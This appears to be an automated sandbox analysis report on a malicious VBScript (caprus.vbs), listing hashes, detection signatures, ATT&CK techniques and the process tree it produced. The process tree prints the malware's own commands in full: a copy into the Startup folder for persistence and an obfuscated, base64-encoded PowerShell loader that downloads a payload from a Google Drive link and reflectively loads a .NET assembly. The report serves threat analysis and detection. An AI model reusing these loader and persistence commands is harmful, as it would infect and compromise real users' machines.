cfb4002b3f5ca8f34e62f0d66eeff4cf795b396f4edca390bcaf3a0fd3ced8e5

General

Target

caprus.vbs
Size

141KB
MD5

83e4a8c3434c580d29ca7d33cac993b7
SHA1

61d0199df0b239716b08a3921be45cb9ecc015fe
SHA256

cfb4002b3f5ca8f34e62f0d66eeff4cf795b396f4edca390bcaf3a0fd3ced8e5
SHA512

5fda977b553313152b0caff0d80f51225a6cd321b29398f92b2e7dcaa16c1a4bd2a1256885ca73a51232441df932564928137cad1ca6054c5cf0f5bb06c0d518
SSDEEP

3072:/irBgt5pEGw4CvaiYHdtKtbEBFFpRYJO3iYUDQ3k6GL6L1UuXD:bNFp6JO3iYgQhCO3D

Score

10^/10

discovery execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://drive.google.com/uc?export=download&id=1to6BWNGH3v9BuIxnkwk_gX4W3sCxklk7

exe.dropper

https://drive.google.com/uc?export=download&id=1to6BWNGH3v9BuIxnkwk_gX4W3sCxklk7

Signatures

Blocklisted process makes network request 2 IoCs

flow	pid	Process
5	2992	powershell.exe
7	2992	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2896	powershell.exe
2788	powershell.exe
2992	powershell.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\desvirginar.vbs	WScript.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\desvirginar.vbs	WScript.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
4	drive.google.com
5	drive.google.com

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
2484	cmd.exe
2616	PING.EXE

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
2616	PING.EXE

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
2896	powershell.exe
2788	powershell.exe
2992	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	2896	powershell.exe
Token: SeDebugPrivilege	2788	powershell.exe
Token: SeDebugPrivilege	2992	powershell.exe

Suspicious use of WriteProcessMemory 15 IoCs

description	pid	Process	procid_target
PID 772 wrote to memory of 2484	772	WScript.exe	30
PID 772 wrote to memory of 2484	772	WScript.exe	30
PID 772 wrote to memory of 2484	772	WScript.exe	30
PID 2484 wrote to memory of 2616	2484	cmd.exe	32
PID 2484 wrote to memory of 2616	2484	cmd.exe	32
PID 2484 wrote to memory of 2616	2484	cmd.exe	32
PID 2484 wrote to memory of 2896	2484	cmd.exe	34
PID 2484 wrote to memory of 2896	2484	cmd.exe	34
PID 2484 wrote to memory of 2896	2484	cmd.exe	34
PID 772 wrote to memory of 2788	772	WScript.exe	35
PID 772 wrote to memory of 2788	772	WScript.exe	35
PID 772 wrote to memory of 2788	772	WScript.exe	35
PID 2788 wrote to memory of 2992	2788	powershell.exe	37
PID 2788 wrote to memory of 2992	2788	powershell.exe	37
PID 2788 wrote to memory of 2992	2788	powershell.exe	37

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\caprus.vbs"
1⤵
- Drops startup file
- Suspicious use of WriteProcessMemory
PID:772
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 10 & powershell -command [System.IO.File]::Copy('C:\Users\Admin\AppData\Local\Temp\caprus.vbs', 'C:\Users\' + [Environment]::UserName + ''\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ sbv.ranigrivsed.vbs')')
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  - Suspicious use of WriteProcessMemory
  PID:2484
- - C:\Windows\system32\PING.EXE
    ping 127.0.0.1 -n 10
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:2616
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -command [System.IO.File]::Copy('C:\Users\Admin\AppData\Local\Temp\caprus.vbs', 'C:\Users\' + [Environment]::UserName + ''\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ sbv.ranigrivsed.vbs')')
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2896
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'LiggJHNoZUxsaWRbMV0rJFNoZUxsaURbMTNdKyd4JykgKCgnSUhhaW1hZ2VVcmwgPSAwWThodHRwczovJysnL2RyaXZlLmdvb2dsZS5jb20vdWM/ZXhwb3J0PWRvd25sb2FkJmlkPTF0bzZCVycrJ05HSDN2OUJ1SXhuaycrJ3drX2dYNFczc0N4a2wnKydrNyAwWTg7SUhhd2ViQ2xpZW50ID0gTmV3LU9iamVjdCBTeXMnKyd0ZW0uTmV0LicrJ1dlYkNsaWVudDtJSGFpbWFnZUJ5dGVzJysnID0gSUhhd2ViQ2xpZW50LkRvd25sb2FkRGF0YScrJyhJSGFpbWFnZVVybCk7SUhhaW1hZ2VUZXh0ID0gW1N5cycrJ3RlbS5UZXh0LkVuY29kaW5nXTo6VVRGOC5HZXRTdCcrJ3JpbmcoSUhhaW1hZ2VCeXRlcyk7SUhhc3RhcnRGbGFnID0gMFk4PDxCQVNFNjRfU1RBUlQ+PjBZOCcrJztJSGFlbmRGbGFnID0gMFk4PDxCQVNFNjRfRU5EPj4wWScrJzg7SUhhc3RhcnRJbmRlJysneCA9IElIYWltYWdlVGV4dC5JbmRleE9mKElIYXN0YXJ0RmxhZyk7SUhhZW5kSW5kZXggPSBJSGFpbWFnZVRleHQuSW5kZXhPZihJSGFlbmRGbGFnKTtJSGFzdGFydEluZGV4IC1nZSAwIC1hbmQgSUhhZW5kSW5kZXggLWd0IElIYXN0YXJ0SW5kZXg7SUhhc3RhcnRJbmRleCArPSBJSGFzdGFydEZsYWcuTGVuZ3RoO0lIYWJhc2U2NExlbmd0aCA9IElIYWVuZEluZGV4IC0gSScrJ0hhc3RhcnRJbmRleDtJSGFiYXNlNjRDb21tYW5kJysnICcrJz0gSUhhaW0nKydhZ2VUZXh0LlN1YnN0cmluZyhJSGFzdGFydEluZGV4LCBJSGFiYXNlNjRMZW5ndGgpO0lIYWJhc2U2NFJldmVyc2VkID0gLWpvaW4gKElIYWJhc2U2NENvbW1hbmQuVG8nKydDaGFyJysnQXJyYScrJ3koKSAyVHcgRm9yRWEnKydjaC1PYmplY3QgeyBJSGFfIH0pWy0xLi4tJysnKElIYWJhc2U2NCcrJ0NvbW1hbmQuTGVuZ3RoKV07SUhhY29tbWFuZEJ5dGVzID0nKycgW1N5c3RlbS5Db252ZXInKyd0XTo6RnJvbUJhc2U2NFN0cmluZyhJSGFiYXNlNjRSJysnZXZlcnNlZCk7SUhhbG9hZGVkQScrJ3MnKydzZW1ibHkgPSBbU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHldOjpMb2FkKElIYWNvbW1hbmRCeXRlcyk7SUhhdmFpTWV0aG9kID0gW2RubGliLklPLkhvbWVdLkdlJysndE1ldGhvZCgwWThWQScrJ0knKycwWTgpO0lIYXZhaU1ldGhvZC5JbnZva2UoSUhhbnVsbCwgQCgwWTh0eHQub2NzaUMvcmguZWVyZi5uZScrJ2dhdGFkdGZvcy50cm9wcHVzLW5lZXJjcy8vOnNwdHRoMFk4LCAwWThkZXNhdGl2YWRvMCcrJ1k4LCAwWThkZXNhdGl2YWRvMFk4LCAwWThkZXNhdGl2YWRvMFk4LCAwWThBcHBMYXVuY2gwWTgsIDBZOGRlc2F0aXZhZG8wWTgsIDBZOGRlc2F0aXZhZCcrJ28nKycwWTgsMFk4ZGVzYXRpdmFkbzBZOCwwWThkZXNhdGl2YWRvMFk4LDBZOGRlc2F0aXZhZG8wWTgsMFk4ZGVzYXRpdmFkbzBZOCwwWThkZXNhdGl2YWRvMFk4LDBZODEwWTgsMFk4ZGVzYScrJ3RpdmFkbzBZOCcrJykpOycpLlJlUExBY0UoJzBZOCcsW1N0cmlOR11bQ0hBUl0zOSkuUmVQTEFjRSgoW0NIQVJdNzMrW0NIQVJdNzIrW0NIQVJdOTcpLCckJykuUmVQTEFjRSgnMlR3JyxbU3RyaU5HXVtDSEFSXTEyNCkgKQ==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2788
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command ".( $sheLlid[1]+$SheLliD[13]+'x') (('IHaimageUrl = 0Y8https:/'+'/drive.google.com/uc?export=download&id=1to6BW'+'NGH3v9BuIxnk'+'wk_gX4W3sCxkl'+'k7 0Y8;IHawebClient = New-Object Sys'+'tem.Net.'+'WebClient;IHaimageBytes'+' = IHawebClient.DownloadData'+'(IHaimageUrl);IHaimageText = [Sys'+'tem.Text.Encoding]::UTF8.GetSt'+'ring(IHaimageBytes);IHastartFlag = 0Y8<<BASE64_START>>0Y8'+';IHaendFlag = 0Y8<<BASE64_END>>0Y'+'8;IHastartInde'+'x = IHaimageText.IndexOf(IHastartFlag);IHaendIndex = IHaimageText.IndexOf(IHaendFlag);IHastartIndex -ge 0 -and IHaendIndex -gt IHastartIndex;IHastartIndex += IHastartFlag.Length;IHabase64Length = IHaendIndex - I'+'HastartIndex;IHabase64Command'+' '+'= IHaim'+'ageText.Substring(IHastartIndex, IHabase64Length);IHabase64Reversed = -join (IHabase64Command.To'+'Char'+'Arra'+'y() 2Tw ForEa'+'ch-Object { IHa_ })[-1..-'+'(IHabase64'+'Command.Length)];IHacommandBytes ='+' [System.Conver'+'t]::FromBase64String(IHabase64R'+'eversed);IHaloadedA'+'s'+'sembly = [System.Reflection.Assembly]::Load(IHacommandBytes);IHavaiMethod = [dnlib.IO.Home].Ge'+'tMethod(0Y8VA'+'I'+'0Y8);IHavaiMethod.Invoke(IHanull, @(0Y8txt.ocsiC/rh.eerf.ne'+'gatadtfos.troppus-neercs//:sptth0Y8, 0Y8desativado0'+'Y8, 0Y8desativado0Y8, 0Y8desativado0Y8, 0Y8AppLaunch0Y8, 0Y8desativado0Y8, 0Y8desativad'+'o'+'0Y8,0Y8desativado0Y8,0Y8desativado0Y8,0Y8desativado0Y8,0Y8desativado0Y8,0Y8desativado0Y8,0Y810Y8,0Y8desa'+'tivado0Y8'+'));').RePLAcE('0Y8',[StriNG][CHAR]39).RePLAcE(([CHAR]73+[CHAR]72+[CHAR]97),'$').RePLAcE('2Tw',[StriNG][CHAR]124) )"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2992

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Remote System Discovery

1

T1018

System Information Discovery

1

T1082

System Network Configuration Discovery

1

T1016

Internet Connection Discovery

1

T1016.001

Lateral Movement

Collection

Command and Control

Web Service

1

T1102

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
9f0277a7b2b8c867f8c5f20238c8cf76

SHA1
88d47adf7b1805c253094d4f9f190d2b71305319

SHA256
adb55e03e59c9a0269f7a7b202264019b269e87c8509455768a1cf2e142dbad7

SHA512
768189b1f72f89519fcf65799e8b1b2ab21c14fdf98be33dd6a0167adbd6ce657d9dec3abfe6b0bad838e5d230045f07e794f38ff985b86c00d7e323a9efde16

Download Submit
memory/2788-18-0x000000001B5A0000-0x000000001B882000-memory.dmp

Filesize
2.9MB

Download
memory/2788-19-0x00000000022A0000-0x00000000022A8000-memory.dmp

Filesize
32KB

Download
memory/2896-5-0x000007FEF5F7E000-0x000007FEF5F7F000-memory.dmp

Filesize
4KB

Download
memory/2896-7-0x0000000002240000-0x0000000002248000-memory.dmp

Filesize
32KB

Download
memory/2896-6-0x000000001B630000-0x000000001B912000-memory.dmp

Filesize
2.9MB

Download
memory/2896-8-0x000007FEF5CC0000-0x000007FEF665D000-memory.dmp

Filesize
9.6MB

Download
memory/2896-9-0x000007FEF5CC0000-0x000007FEF665D000-memory.dmp

Filesize
9.6MB

Download
memory/2896-10-0x000007FEF5CC0000-0x000007FEF665D000-memory.dmp

Filesize
9.6MB

Download
memory/2896-11-0x000007FEF5CC0000-0x000007FEF665D000-memory.dmp

Filesize
9.6MB

Download
memory/2896-12-0x000007FEF5CC0000-0x000007FEF665D000-memory.dmp

Filesize
9.6MB

Download

Analysis

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